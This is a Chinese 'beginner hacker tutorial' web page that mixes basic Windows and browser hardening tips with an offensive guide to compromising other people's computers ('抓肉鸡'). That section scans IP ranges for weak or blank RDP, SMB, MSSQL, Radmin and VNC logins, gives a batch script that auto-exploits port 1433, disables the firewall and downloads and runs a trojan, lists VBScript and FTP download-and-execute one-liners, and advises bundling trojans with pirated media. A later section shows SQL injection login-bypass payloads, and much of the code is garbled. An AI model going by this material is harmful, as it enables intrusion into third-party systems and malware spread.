当前位置: 首页 » 中职教育 » 最简单的黑客入门教程

最简单的黑客入门教程
目 录
1 黑客简介 2
2 保护自己电脑绝对不做黑客肉鸡 2
3 抓肉鸡的几种方法 5
4 防止黑客通过Explorer侵入系统 9
5 SQL注入详解 10
5.1 注入工具 11
5.2 php+Mysql注入的误区 11
5.3 简单的例子 12
5.4 语句构造 14
5.5 高级应用 22
5.6 实例 26
5.7 注入的防范 29
5.8 我看暴库漏洞原理及规律1 29
5.9 我看暴库漏洞原理及规律2 32
6 跨站脚本攻击 34
6.1 跨站脚本工具 34
6.2 什么是XSS攻击 35
6.3 如何寻找XSS漏洞 35
6.4 寻找跨站漏洞 36
6.5 如何利用 36
6.6 XSS与其它技术的结合 38
7 XPath注入 38
7.1 XPath注入介绍 38
7.2 XPath注入工具 41

声明:文章来源大多是网上收集而来,版权归其原作者所有。

1 黑客简介
"黑客"(hacker)这个词通常被用来指那些恶意的安全破坏者。关于"黑客"一词的经典定义,最初来源于麻省理工学院关于信息技术的一份文档,之后便被新闻工作者们长期使用。但是这个在麻省理工被当做中性词汇的术语,却逐渐被新闻工作者们用在了贬义的环境,而很多人也受其影响,最终导致了"黑客"一词总是用于贬义环境。有些人认为,我们应该接受"黑客"一词已经被用滥并且有了新的意义。他们认为,如果不认可这种被滥用的词汇,那么将无法与那些不懂技术的人进行有效的交流。而我仍然认为,将黑客和恶意的骇客(cracker)分开表述,对交流会更有效,比如使用"恶意的安全骇客"会更容易让对方理解我所指的对象,从而能够达到更好的沟通交流效果,也避免了对"黑客"一词的滥用。之所以要区分黑客和恶意骇客,是因为在某些情况下,我们讨论的对象是那些毫无恶意并且不会对安全防御或者用户隐私造成损害的对象,这些人只有用"黑客"这个词来描述才最贴切。如果你只是简单的将"黑客"和"恶意的安全骇客"划等号,将无法在与人交流安全技术问题时,轻松的分辨别人所指的到底是哪种类型的人。黑客和骇客的区别是,黑客仅仅对技术感兴趣,而后者则是通过技术获取职业发展或者谋生。很多黑客和骇客都具有技术天赋,有些骇客据此进行职业发展。当然,并不是每个有技术天赋的人都必须沿着黑客或者骇客的方向发展。黑客这个术语的经典意义是指那些对于事物如何工作非常感兴趣的人,他们修理,制作或者修改事物,并以此为乐。对于某些人来说,这个词并不准确,而对于另一些人来说,黑客意味着最终能完全掌握某些事情。根据RFC1392的记载,互联网用户词汇将"黑客"定义为:迷恋于获取某些系统尤其是计算机和计算机网络系统内部运作机制的人。而这个词经常被错误的用于贬义环境。在贬义环境中,正确的用词应该是"骇客"。TheJargonWiki对于"黑客"的首次定义为:迷恋于探知可编程系统细节以及如何扩展其功能的人,与大多数只需了解系统基本知识的人不同。而安全骇客,则是以破坏安全系统为目的的人。有些安全骇客最终会用自己所掌握的技术做善事,提供渗透测试服务,或者其他有利于安全防护的工作。而更多的人则是利用自己的技术行恶事。在RFC1392和JargonWiki中都对"骇客"进行了类似的贬义定义。在不同的环境中使用正确的术语,对于沟通来说是非常重要的。在这方面我是有过切身体验的。一次与一家企业的负责人交流时,我们使用了相同的词汇,但是所指的对象却正好相反,结果沟通效果非常失败。当两种不同的背景下需要同一个词汇时,比如需要谈到传统意义的黑客以及带有恶意目的的骇客时,如果不事先将术语解释清楚,或给出一定的规范,肯定会导致交流困难。对于目前的交流来说,一个更简单的办法就是只适用恶意安全骇客,而不是黑客,这是因为:目前大部分消息中所指的,都是带有恶意目的的骇客,而不是以技术为目标的黑客。这就是为什么在我的文章中,总是会使用"恶意的安全骇客"来代指从事恶意活动的人,而在某些文章中如果需要涉及到传统意义的"黑客",我也会在文中再次进行说明。在讨论安全话题时,为了能更清晰的交流,我也建议大家和我一样采用正确的词汇。
2 保护自己电脑绝对不做黑客肉鸡
第一招:屏幕保护
在Windows中启用了屏幕保护之后,只要我们离开计算机(或者不操作计算机)的时间达到预设的时间,系统就会自动启动屏幕保护程序,而当用户移动鼠标或敲击键盘想返回正常工作状态时,系统就会打开一个密码确认框,只有输入正确的密码之后才能返回系统,不知道密码的用户将无法进入工作状态,从而保护了数据的安全。提示:部分设计不完善的屏幕保护程序没有屏蔽系统的"Ctrl+Alt+Del"的组合键,因此需要设置完成之后测试一下程序是否存在这个重大Bug.不过,屏幕保护最快只能在用户离开1分钟之后自动启动,难道我们必须坐在计算机旁等待N分钟看到屏幕保护激活之后才能再离开吗?其实我们只要打开Windows安装目录里面的system子目录,然后找到相应的屏幕保护程序(扩展名是SCR),按住鼠标右键将它们拖曳到桌面上,选择弹出菜单中的"在当前位置创建快捷方式"命令,在桌面上为这些屏幕保护程序建立一个快捷方式。此后,我们在离开计算机时双击这个快捷方式即可快速启动屏幕保护。
第二招:巧妙隐藏硬盘
在"按Web页"查看方式下,进入Windows目录时都会弹出一句警告信息,告诉你这是系统文件夹如果"修改该文件夹的内容可能导致程序运行不正常,要查看该文件夹的内容,请单击显示文件",这时单击"显示文件"就可以进入该目录了。原因是在Windows根目录下有desktop.ini和folder.htt两个文件作祟。将这两个文件拷贝到某个驱动器的根目录下(由于这两个文件是隐藏文件,之前必须在文件夹选项中单击"查看"标签,选择"显示所有文件",这样就可以看见这两个文件了)。再按"F5"键刷新一下,看看发生了什么,是不是和进入Windows目录时一样。接下来我们用"记事本"打开folder.htt,这是用HTML语言编写的一个文件,发挥你的想像力尽情地修改吧。如果你不懂HTML语言也没关系,先找到"显示文件"将其删除,找到"修改该文件夹的内可能导致程序运行不正常,要查看该文件夹的内容,请单击显示文件",将其改为自己喜欢的文字,例如"安全重地,闲杂人等请速离开"。将"要查看该文件夹的内容,请单击"改为"否则,后果自负!",接着向下拖动滑块到倒数第9行,找到"(file://%TEMPLATEDIR%\wvlogo.gif)"这是显示警告信息时窗口右下角齿轮图片的路径,将其改为自己图片的路径,例如用"d:\tupian\tupian1.jpg"替换"//"后面的内容,记住这里必须将图片的后缀名打出,否则将显示不出图片。当然,你还可以用像Dreamweaver、FrontPage这样的网页工具做出更好的效果,然后只要将原文件拷贝到下面这段文字的后面,覆盖掉原文件中"~"之间的内容就可以了。ThisfilewasautomaticallygeneratedbyMicrosoftInternetEXPlorer5.0usingthefile%THISDIRPATH%\folder.htt.保存并退出,按"F5"键刷新一下,是不是很有个性?接下来要作的就是用"超级兔子"将你所要的驱动器隐藏起来,不用重新启动就可以欣赏自己的作品了。最后告诉大家一招更绝的,就是干脆将folder.htt原文件中"~"之间的内容全部删除,这样就会给打开你的驱动器的人造成一种这是一个空驱动器的假象,使其中的文件更安全。
第三招:禁用"开始"菜单命令
在Windows2000/XP中都集成了组策略的功能,通过组策略可以设置各种软件、计算机和用户策略在某种方面增强系统的安全性。运行"开始→运行"命令,在"运行"对话框的"打开"栏中输入"gpedit.msc",然后单击"确定"按钮即可启动WindowsXP组策略编辑器。在"本地计算机策略"中,逐级展开"用户配置→管理模板→任务栏和开始菜单"分支,在右侧窗口中提供了"任务栏"和"开始菜单"的有关策略。在禁用"开始"菜单命令的时候,在右侧窗口中,提供了删除"开始"菜单中的公用程序组、"我的文档"图标、"文档"菜单、"网上邻居"图标等策略。清理"开始"菜单的时候只要将不需要的菜单项所对应的策略启用即可,比如以删除"我的文档"图标为例,具体操作步骤为:1)在策略列表窗口中用鼠标双击"从开始菜单中删除我的文档图标"选项。2)在弹出窗口的"设置"标签中,选择"已启用"单选按钮,然后单击"确定"即可。
第四招:桌面相关选项的禁用
WindowsXP的桌面就像你的办公桌一样,有时需要进行整理和清洁。有了组策略编辑器之后,这项工作将变得易如反掌,只要在"本地计算机策略"中展开"用户配置→管理模板→桌面"分支,即可在右侧窗口中显示相应的策略选项。1)隐藏桌面的系统图标倘若隐藏桌面上的系统图标,传统的方法是通过采用修改注册表的方式来实现,这势必造成一定的风险性,采用组策略编辑器,即可方便快捷地达到此目的。若要隐藏桌面上的"网上邻居"和"InternetEXPlorer"图标,只要在右侧窗口中将"隐藏桌面上网上邻居图标"和"隐藏桌面上的InternetEXPlorer图标"两个策略选项启用即可。如果隐藏桌面上的所有图标,只要将"隐藏和禁用桌面上的所有项目"启用即可。当启用了"删除桌面上的我的文档图标"和"删除桌面上的我的电脑图标"两个选项以后,"我的电脑"和"我的文档"图标将从你的电脑桌面上消失了。如果在桌面上你不再喜欢"回收站"这个图标,那么也可以把它给删除,具体方法是将"从桌面删除回收站"策略项启用。2)禁止对桌面的某些更改如果你不希望别人随意改变计算机桌面的设置,请在右侧窗口中将"退出时不保存设置"这个策略选项启用。当你启用这个了设置以后,其他用户可以对桌面做某些更改,但有些更改,诸如图标和打开窗口的位置、任务栏的位置及大小在用户注销后都无法保存。
第五招:禁止访问"控制面板"
如果你不希望其他用户访问计算机的控制面板,你只要运行组策略编辑器,并在左侧窗口中展开"本地计算机策略→用户配置→管理模板→控制面板"分支,然后将右侧窗口的"禁止访问控制面板"策略启用即可。此项设置可以防止控制面板程序文件的启动,其结果是他人将无法启动控制面板或运行任何控制面板项目。另外,这个设置将从"开始"菜单中删除控制面板,同时这个设置还从Windows资源管理器中删除控制面板文件夹。提示:如果你想从上下文菜单的属性项目中选择一个"控制面板"项目,会出现一个消息,说明该设置防止这个操作。
第六招:设置用户权限
当多人共用一台计算机时,在WindowsXP中设置用户权限,可以按照以下步骤进行:1)运行组策略编辑器程序。2)在编辑器窗口的左侧窗口中逐级展开"计算机配置→Windows设置→安全设置→本地策略→用户权限指派"分支。3)双击需要改变的用户权限,单击"添加用户或组"按钮,然后双击想指派给权限的用户账号,最后单击"确定"按钮退出。第七招:文件夹设置审核WindowsXP可以使用审核跟踪用于访问文件或其他对象的用户账户、登录尝试、系统关闭或重新启动以及类似的事件,而审核文件和NTFS分区下的文件夹可以保证文件和文件夹的安全。为文件和文件夹设置审核的步骤如下:1)在组策略窗口中,逐级展开右侧窗口中的"计算机配置→Windows设置→安全设置→本地策略"分支,然后在该分支下选择"审核策略"选项。2)在右侧窗口中用鼠标双击"审核对象访问"选项。3)用鼠标右键单击想要审核的文件或文件夹,选择弹出菜单的"属性"命令,接着在弹出的窗口中选择"安全"标签。4)单击"高级"按钮,然后选择"审核"标签。5)根据具体情况选择你的操作:倘若对一个新组或用户设置审核,可以单击"添加"按钮,并且在"名称"框中键入新用户名,然后单击"确定"按钮打开"审核项目"对话框。要查看或更改原有的组或用户审核,可以选择用户名,然后单击"查看/编辑"按钮。要删除原有的组或用户审核,可以选择用户名,然后单击"删除"按钮即可。6)如有必要的话,在"审核项目"对话框中的"应用到"列表中选取你希望审核的地方。7)如果想禁止目录树中的文件和子文件夹继承这些审核项目,选择"仅对此容器内的对象和/或容器应用这些审核项"复选框。注意:必须是管理员组成员或在组策略中被授权有"管理审核和安全日志"权限的用户可以审核文件或文件夹。在WindowsXP审核文件、文件夹之前,你必须启用组策略中"审核策略"的"审核对象访问"。否则,当你设置完文件、文件夹审核时会返回一个错误消息,并且文件、文件夹都没有被审核。
3 抓肉鸡的几种方法
找点工具就OK了端口抓肉鸡的几种方法 肉鸡大家都应该清楚是什么东西吧!呵呵 这点就不用说了………….慢慢学
1、3389抓鸡
现在国内网络上流传着一种克隆版的XP,安装后会默认开启一个账号为new,密码为空的账户,而且基本上都是开着3389的,我们就可以利用这一点来抓肉鸡。首先用端口扫描工具扫一段IP的3389端口,扫完后就直接用远程桌面连接开放3389的机器(也可以把结果保存为文本文件,用批量生成3389连接的工具来连接),然后输入账号new登入,如果别人的电脑前没人的话你就可以去你的空间下载你传好的木马安装拉~~
这种方法只针XP系统,如果遇到2000或者2003系统就不要试了
呵呵。缺点也很明显,如果别人不是用new账号登入XP的,你再登入上去就会把他挤出去(XP只支持单用户登入,用户登入需要用工具开),或者电脑前有人你就不可能去打开IE下载木马了。
2、扫135端口抓肉鸡
首先先用端口扫描器扫一段IP的135端口,然后把结果保存,再用NTSCAN过滤有弱口令的机器,最后用recton开telnet传马。因为现在135和445端口都被防火墙屏蔽了,只能扫本地的135肉鸡,要抓外地的只能用外地的135肉鸡来扫。(详细动画
可以去黑客网站搜索135)
3、扫445端口抓肉鸡
和扫135抓肉鸡差不多,首先先用端口扫描器扫一段IP的445端口,然后把结果保存,再用NTSCAN过滤有弱口令的机器,最后用啊D工具包开共享传马。因为现在135和445端口都被防火墙屏蔽了,只能扫本地的445肉鸡,要抓外地的只能用外地的445肉鸡来扫。(详细动画可以去黑客网站搜索445)
4、1433端口批量溢出抓肉鸡
这个方法可以实现全自动抓鸡,不过现在太多人搞,成功率已经不高了。要用到的工具:S扫sqlhello.exenc.exe批处理文件首先先写个批处理,打开记事本,把以下代码复制修改后,储存为扫描+溢出.bat文件
@echooff
for/f"eol=;tokens=1,2delims="%%iin(tt.txt)dos.exetcp%%i%%j
14331000/save
@echooff
for/f"eol=;tokens=1delims="%%iin(Result.txt)dosqlhello%%i
1433xxx.xxx.xx.xx556
还要新建一个tt.txt,里面你要扫的IP段,格式为
XXX.XXX.XXX.XXXXXX.XXX.XXX.XXX,中间是空格
1433是要扫描的端口,1000是扫描线程数,dosqlhello%%i
1433xxx.xxx.xx.xx556这个里的XXX添你的IP,556是后面NC监
听的端口然后再写个批处理
@echooff
Nc-l-vv-p556>daima.txt
echousername>>daima.txt
echopassword>>daima.txt
echobin>>daima.txt(以2进制传输数据)
echogetxxx.exe(你的木马的文件名,要放在根目录下)>>daima.txt
echobye>>daima.txt
netstopsharedaccess(关闭WINDOWS自带防火墙)
ftp-s:daima.txt
xxx.exe(也是填你木马的文件名)
deldaima.txt
注意上面的代码回车符别删掉,要不然就没法下你的马了。
几种肉鸡上传文件的方法
tftp法
先在自己某机器上建个tftp服务器,如执行tftpd32.exe,
再将文件(sample.exe)上传到别的机器中(肉鸡),
肉鸡cmd中执行:tftp-i服务器ipgetsample.exe
ftp法
肉鸡cmd中执行:
echoopenftp服务器ip[端口]>ftp.txt
echousername>>ftp.txt
echopassword>>ftp.txt
echogetsample.exe>>ftp.txt
echobye>>ftp.txt
ftp-s:ftp.txt
delftp.txt
工具法
利用wineggdrop的wget.exe
肉鸡cmd中执行:wget网站/sample.exe
利用dl.vbe法
肉鸡cmd中执行:
echowithwscript:if.arguments.count^<2then.quit:endif

dl.vbe
echosetaso=.createobject("adodb.stream"):set
web=createobject("microsoft.xmlhttp")>>dl.vbe
echoweb.open"get",.arguments(0),0:web.send:if
web.status^>200thenquit>>dl.vbe
echo
aso.type=1:aso.open:aso.writeweb.responsebody:aso.savetofile
.arguments(1),2:endwith>dl.vbe
cscriptdl.vbehttp://:88/sample.exesample.exe
利用iget.vbe法
方法同4,
肉鸡cmd中执行:
echoiLocal=LCase(WScript.Arguments(1))>iget.vbe
echoiRemote=LCase(WScript.Arguments(0))>>iget.vbe
echoSetxPost=CreateObject("Microsoft.XMLHTTP")

iget.vbe
echoxPost.Open"GET",iRemote,0>>iget.vbe
echoxPost.Send()>>iget.vbe
echoSetsGet=CreateObject("ADODB.Stream")>>iget.vbe
echosGet.Mode=3>>iget.vbe
echosGet.Type=1>>iget.vbe
echosGet.Open()>>iget.vbe
echosGet.Write(xPost.responseBody)>>iget.vbe
echosGet.SaveToFileiLocal,2>>iget.vbe
cscriptiget.vbehttp:///sample.exesample.exe
利用Http网站vbe法
echoSetxPost=CreateObject("Microsoft.XMLHTTP")
dsa.vbe
echoxPost.Open"GET","http://*.*.*.*/sample.exe”,0
dsa.vbe
echoxPost.Send()>>dsa.vbe
echoSetsGet=CreateObject("ADODB.Stream")>>dsa.vbe
echosGet.Mode=3>>dsa.vbe
echosGet.Type=1>>dsa.vbe
echosGet.Open()>>dsa.vbe
echosGet.Write(xPost.responseBody)>>dsa.vbe
echosGet.SaveToFile"sample.exe",2>>dsa.vbecscript
dsa.vbe
deldsa.vbe
3389法
可以开3389,然后登陆,进行本地的下载。该方法对服务
器上传很严格的机器特有效。(包括硬件防火墙)
先打开多个NC.bat,然后再打开扫描+溢出.bat,然后你就可以
去睡大觉了。自动扫描,扫描完后自动溢出,溢出后还自动下
马执行,爽吧!所以这里讲详细点,呵呵。还有4221端口也
可以这样溢出,只要用这些端口的溢出工具就好了,详细动画
可以去黑客网站搜索1433。
忘了说,上面的工具和批处理什么的都要放在同一个文件
夹下。
先休息一下,打这么多字累死了
继续
5、扫1433抓肉鸡之方法2
要用到的工具:端口扫描器X-scanSQL综合利用工具
上面我们说过了,1433溢出现在成功率已经不高了,所以我
们可以用另一种方法。开了1433端口的机器一般都装了SQL,
所以我们可以猜测SQL弱口令来抓1433肉鸡。
首先先用端口扫描器扫一段IP的1433端口,然后结果保存为
文本文件,接着用X-scan导入这些开了1433的IP,然后在扫描
参数-全局设置-扫描模块这一栏里只勾上SQL-SERVER就可以了
,其他不要勾。然后在插件设置-端口相关设置-待检测端口这
一栏,只填1433端口。然后就可以开始扫描了。扫描完成后会
有个报告,列出了有弱口令的机器,然后打开SQL综合利用工
具,输入你扫到的弱口令来连接,接着打开SQL综合利用工具-
利用目录,上传你的木马,然后在用DOS命令执行你的木马就
OK了。
6、用WINNTAutoAttack扫SA弱口令抓肉鸡
其实这个原理和上面一样,效率也没上面的高,只是想让大
家知道下,呵呵。
工具:WINNTAutoAttackSQL综合利用工具
打开WINNTAutoAttack,找一段IP添上,然后只勾上设置下
的仅对PING检查成功的机器进行检测和SQL列出密码为空的SA
账号,接着开始扫描,扫完后,用SQL综合利用工具连上传马
执行就好了。
7、扫4899空口令抓肉鸡
工具:端口扫描器4899探测器Radmin
首先先用端口扫描器扫一段IP的4899端口,然后用4899探测
器导入开了4899端口的IP,接着扫空令,最后用Radmin连接有
空口令的机器,带开文件管理,上传的你木马运行就OK了。
详细动画可以去黑客网站搜索4899
8、扫5900端口抓VNC肉鸡
工具:VNC扫描器VNC连接器
首先用VNC扫描器扫描一段IP,扫描格式为vscan.exe(扫描
器文件名)-i219.0.0.0-219.255.255.255(扫描IP段)-p5900-
vnc-vv扫描完成后会在扫描器所在的同一文件夹生成一个文
本文件,打开后有一列IP,IP后面的有一些单词比如
patched,banned,vulnerable,只有单词为vulnerable才能连接。接着
就用VNC连接器连接,下面就不用多说了吧?详细动画可以去
黑客网站搜索VNC
接下来说说挂马抓肉鸡吧。方法有很多,比如BT挂马、免费
空间挂马、迅雷挂马等等,有些我也还不会,呵呵。下面就介
绍几种我会的。
1、BT挂马
顾名思义,就是把你的木马发布到BT网站让人下载。当然如果只把单纯的木马文件发布上去效果肯定不好,而且现在一般的BT网站也不让发布EXE文件。所以我们需要一些隐藏的手法。我们可以先把木马用捆绑器和一些电影、音乐、游戏捆绑在一起,再压缩成RAR文件发布,谁在开始下载时会知道RAR里有木马呢?当他费了好大劲下载完,打开发现是EXE的格式后,总有些菜鸟会不想辜负自己花费的时间而忍不住打开吧?尤其是下XXX片的时候当然你也可以做个网页木马,然后把你网页木马的地址插入到你发布的文件中(不是所有文件都可以这样的,我只知道RM和EXE文件可以插入),别人下载打开后同时也会带开你的网页木马,如果他的系统没有补供你网页木马所利用的漏洞的话,那他就会中你的马了。有些朋友可能会想,我把木马和其他文件捆绑后格式保持为那个文件(比如RM捆绑木马后保持RM格式),那样别人不就不会怀疑了吗?呵呵,如果真有这样的好事那我上面何不说把木马和BT种子文件绑在一起发布,那样你肉鸡不抓疯了才怪~~所以在这里说一下,木马和其他文件捆绑后生成的文件只能为EXE格式的,除非你有你所捆绑文件的格式的溢出漏洞,那样才能把生成后的文件格式保持为你所捆绑文件的格式。不过这样的漏洞现在
很少,大多都被补了,就算有别人也不一定会公开,为什么想想就知道了吧。在这里就说一个最近的RAR溢出漏洞,针对winrar3.6版本以下的所有版本,只要你winrar版本低于3.6,运行绑了牧马的RAR文件后就会中马。此类木马症状为:运行RAR文件后会弹出一个什么什么损坏还是错误的对话框,然后RAR文件体积变小,减少的体积就为木马的体积。然后再次打开这个RAR文件一切正常,不会弹出错误对话框。在这里提醒下各位赶快更新下WINRAR版本,小心中马哈。
2、免费空间挂马
其实和BT差不多,就是把做好的木马上传到你申请的免费空间,然后到论坛发些诱惑性的帖子让别人下载你的木马。优点是不用像BT那样做种子,那样不仅要开着电脑,还影响网速。我这几天就是这样挂的,弄个免费空间,上传个木马,到2个XXX论坛发个帖子,每天睡前一顶。 www.hookbase.com 上面有好多可以学的,不清楚的问下我
4 防止黑客通过Explorer侵入系统
给点票票撒……….好不容易研究出来的哦 绝对实用…恶意黑客和病毒编译者能利用你邮件和网页浏览软件中的不安全设置来侵入你的电脑。他们可以通过给你发电子邮件或者诱惑你浏览含有恶意代码的网页来达到他们的目的。通过提高你的微软IE浏览器,Outltlook和OutlookExpress的安全设置,可以来帮助你减小被攻击的可能。
恶意黑客和病毒编译者能利用你邮件和网页浏览软件中的不安全设置来侵入你的电脑。他们可以通过给你发电子邮件或者诱惑你浏览含有恶意代码的网页来达到他们的目的。通过提高你的微软IE浏览器,Outltlook和OutlookExpress的安全设置,可以来帮助你减小被攻击的可能。
步骤一:设置你浏览器安全级别为高
在你使用IE浏览器来浏览网页的时候来提升安全等级:
1.在IE的工具菜单中点击Internet选项。
2.在InternetOptions的对话框中,点击安全标签,并选择Internet图标。
3.在该区域的安全级别选项中,滑动滑条至最高点。这样设置你浏览的所有网站的安全级别为最高。(如果没有滑动条,点击默认级别然后再滑动滑条至最高点。)
注意:高的设置可能导致一些网站不可以正常浏览。如果你在改变这个设置后难以正常浏览网页,你可以将你要浏览的网页加到受信任站点列表当中。这将允许网页可以在高安全设置的情况下正常浏览。
步骤二:加安全网站到受信任站点列表
设置IE安全级别到高可能导致一些网站步可以正常访问,这其中包括了MicrosoftWindows?Update。如果你在改变了设置后不能正常访问网站,你可以把他们加到受信任站点的列表当中,这将令网站可正常工作。
微软建议先将Windowsupdatehttp://windowsupdate.microsoft.com)加入受信任站点列表,从而你能直接安装总要的系统升级。
加安全网站到受信任站点列表:
1.在IE工具菜单,点击Internet选项。
2.在Internet选项的对话框中,点击安全标签。
3.点击受信任站点的图标,并点击网站按钮。
4.在受信任站点对话框中,输入网站的URL在"将该网站添加到区域中"的对话框里,并且点击添加。受信任站点的特点是只能用以Http:开头的URL。取消对该区域中的所有站点要求服务器验证的选项。
5.点击确定。
6.在该区域的安全级别中,移动滑条至中级。这样就设定所有你信赖的站点的安全级别为中级。(如果没有滑动条,点击默认级别然后再滑动滑条至最高点。)
步骤三:以明文阅读电子邮件信息
为了帮助提高你的电子邮件的安全性,设置Outlook或者OutlookExpress为明文阅读所有信息。
在OutlookExpress设置明文阅读信息:
1.在OutlookExpress工具菜单中,点击选项。
2.在选项对话框中,点击阅读标签。
3.选择明文阅读所有信息。
4.点击确定。
在Outlook设置明文阅读信息:
1.在OutlookExpress工具菜单中,点击选项。
2.在选项对话框中首选参数的标签下,点击电子邮件选项按钮。
3.在E-mail选项对话框中,选择阅读以文本格式阅读所有标准邮件。
4.点击确定来关闭E-mail选项对话框,再点击确定关闭选项对话框。
步骤四:在你的浏览器中阻止弹出窗口
为了保护你的电脑不受恶意弹出窗口的影响,而采取一定的措施来阻止他们打开。一些网站使用小的浏览窗口来显示广告,有时会是一些烦人的内容。恶意的攻击者也可能利用弹出窗口伪装成广告或者建议来在你的电脑上安装恶意代码。
有效的办法是你在你的浏览器中安装一个防止弹出窗口的工具。大部分类似的软件与IE都是兼容的,其中就包括免费的MSN工具栏。
5 SQL注入详解
2003年开始,喜欢脚本攻击的人越来越多,而且研究ASP下注入的朋友也逐渐多了起来,我看过最早的关于SQL注入的文章是一篇99年国外的高手写的,而现在国外的已经炉火纯青了,国内才开始注意这个技术,由此看来,国内的这方面的技术相对于国外还是有一段很大差距,话说回来,大家对SQL注入攻击也相当熟悉了,国内各大站点都有些堪称经典的作品,不过作为一篇完整的文章,我觉得还是有必要再说说其定义和原理。如果哪位高手已经达到炉火纯青的地步,不妨给本文挑点刺。权当指点小弟。
国内能看到php+Mysql注入的文章可能比较少,但是如果关注各种WEB程序的漏洞,就可以发现,其实这些漏洞的文章其实就是一个例子。不过由于国内研究PHP的人比研究ASP的人实在少太多,所以,可能没有注意,况且PHP的安全性比ASP高很多,导致很多人不想跨越这个门槛。
尽管如此,在PHP站点日益增多的今天,SQL注入仍是最有效最麻烦的一种攻击方式,有效是因为至少70%以上的站点存在SQLInjection漏洞,包括国内大部分安全站点,麻烦是因为MYSQL4以下的版本是不支持子语句的,而且当php.ini里的magic_quotes_gpc为On时。提交的变量中所有的'(单引号),"(双引号),(反斜线)and空字符会自动转为含有反斜线的转义字符。给注入带来不少的阻碍。
5.1 注入工具
关于SQL注入,目前已经有工具软件支持,如WebCruiser – Web Vulnerability Scanner (Web安全漏洞扫描工具,可以扫描出网站存在SQL注入、跨站脚本攻击、XPath注入的页面,并且可以进一步进行SQL注入验证、跨站攻击验证、XPath注入验证,官方网站为 http://sec4app.com ):

如果您想深入学习手工注入,请继续往下看:
早期的时候,根据程序的代码,要构造出没有引号的语句形成有效的攻击,还真的有点困难
,好在现在的技术已经构造出不带引号的语句应用在某些场合。只要有经验,其实构造有效的语句一点也不难,甚至成功率也很高,但具体情况具体分析。首先要走出一个误区。
注:在没有具体说明的情况下,我们假设magic_quotes_gpc均为off。
5.2 php+Mysql注入的误区
很多人认为在PHP+MYSQL下注入一定要用到单引号,或者是没有办法像MSSQL那样可以使用
"declare@asysnameselect@a=execmaster.dbo.xp_cmdshell@a"这类的命令来消除引号,其实这个是大家对注入的一种误解或这说是对注入认识上的一种误区。为什么呢?因为不管在什么语言里,在引号(包括单双)里,所有字符串均是常量,即使是
dir这样的命令,也紧紧是字符串而已,并不能当做命令执行,除非是这样写的代码:
$command="dirc:";
system($command);
否则仅仅只是字符串,当然,我们所说的命令不单指系统命令,我们这里说的是SQL语句,要让我们构造的SQL语句正常执行,就不能让我们的语句变成字符串,那么什么情况下会用单引号?
什么时候不用呢?看看下面两句SQL语句:
①SELECTFROMarticleWHEREarticleid=’$id’
②SELECT
FROMarticleWHEREarticleid=$id
两种写法在各种程序中都很普遍,但安全性是不同的,第一句由于把变量$id放在一对单引号中,这样使得我们所提交的变量都变成了字符串,即使包含了正确的SQL语句,也不会正常执行,而第二句不同,由于没有把变量放进单引号中,那我们所提交的一切,只要包含空格,那空格后的变量都会作为SQL语句执行,我们针对两个句子分别提交两个成功注入的畸形语句,来看看不同
之处。
①指定变量$id为:
1’and1=2unionselectfromuserwhereuserid=1/
此时整个SQL语句变为:
SELECTFROMarticleWHEREarticleid=’1’and1=2unionselectfromuserwhere
userid=1/
②指定变量$id为:
1and1=2unionselect
fromuserwhereuserid=1
此时整个SQL语句变为:
SELECT FROM article WHERE articleid=1 and 1=2 union select from user where userid=1
看出来了吗?由于第一句有单引号,我们必须先闭合前面的单引号,这样才能使后面的语句
作为SQL执行,并要注释掉后面原SQL语句中的后面的单引号,这样才可以成功注入,如果php.ini
中magic_quotes_gpc设置为on或者变量前使用了addslashes()函数,我们的攻击就会化为乌有,但第二句没有用引号包含变量,那我们也不用考虑去闭合、注释,直接提交就OK了。
大家看到一些文章给出的语句中没有包含单引号例如pinkeyes的《php注入实例》中给出的那句SQL语句,是没有包含引号的,大家不要认为真的可以不用引号注入,仔细看看PHPBB的代码,就可以发现,那个$forum_id所在的SQL语句是这样写的:
$sql="SELECT*
FROM".FORUMS_TABLE."
WHEREforum_id=$forum_id";
由于没有用单引号包含变量,才给pinkeyes这个家伙有机可乘,所以大家在写PHP程序的时候,记得用单引号把变量包含起来。当然,必要的安全措施是必不可少的。
5.3 简单的例子
先举一个例子来给大家了解一下PHP下的注入的特殊性和原理。当然,这个例子也可以告诉大
家如何学习构造有效的SQL语句。
我们拿一个用户验证的例子,首先建立一个数据库和一个数据表并插入一条记录,如下:
CREATETABLEuser(
useridint(11)NOTNULLauto_increment,
usernamevarchar(20)NOTNULLdefault”,
passwordvarchar(20)NOTNULLdefault”,
PRIMARYKEY(userid)
)TYPE=MyISAMAUTO_INCREMENT=3;
#

导出表中的数据user

#
INSERTINTOuserVALUES(1,’angel’,’mypass’);
验证用户文件的代码如下:
<?php
$servername="localhost";
$dbusername="root";
$dbpassword="";
$dbname="injection";
mysql_connect($servername,$dbusername,$dbpassword)ordie("数据库连接失败");
$sql="SELECTFROMuserWHEREusername=’$username’ANDpassword=’$password’";
$result=mysql_db_query($dbname,$sql);
$userinfo=mysql_fetch_array($result);
if(empty($userinfo))
{
echo"登陆失败";
}else{
echo"登陆成功";
}
echo"
SQLQuerysql
";
?>
这时我们提交:
http://127.0.0.1/injection/user.php?username=angel’or1=1
就会返回:
Warning:mysql_fetch_array():suppliedargumentisnotavalidMySQLresultresource
inF:wwwinjectionuser.phponline13
登陆失败
SQLQuery:SELECT
FROMuserWHEREusername=’angel’or1=1’ANDpassword=”
PHPWarning:mysql_fetch_array():suppliedargumentisnotavalidMySQLresult
resourceinF:wwwinjectionuser.phponline13
看到了吗?单引号闭合后,并没有注释掉后面的单引号,导致单引号没有正确配对,所以由
此可知我们构造的语句不能让Mysql正确执行,要重新构造:
http://127.0.0.1/injection/user.php?username=angel’or’1=1
这时显示"登陆成功",说明成功了。或者提交:
http://127.0.0.1/injection/user.php?username=angel‘/
http://127.0.0.1/injection/user.php?username=angel’%23
这样就把后面的语句给注释掉了!说说这两种提交的不同之处,我们提交的第一句是利用逻
辑运算,在ASP中运用可以说是非常广泛的,这个不用说了吧?第二、三句是根据mysql的特性,mysql支持/
和#两种注释格式,所以我们提交的时候是把后面的代码注释掉,值得注意的是由于编码问题,在IE地址栏里提交#会变成空的,所以我们在地址栏提交的时候,应该提交%23,才会变成#,就成功注释了,这个比逻辑运算简单得多了,由此可以看出PHP比ASP强大灵活多了。
通过上面的例子大家应该对PHP+MYSQL的注入有个感性的认识了吧?
5.4 语句构造
PHP+MYSQL注入的博大精深不仅仅体现在认证体系的饶过,语句的构造才是最有趣味的地方,但构造语句和ACCESS、MSSQL都有少许不同,但同样可以发挥得淋漓尽致。看下面的例子。
一、搜索引擎
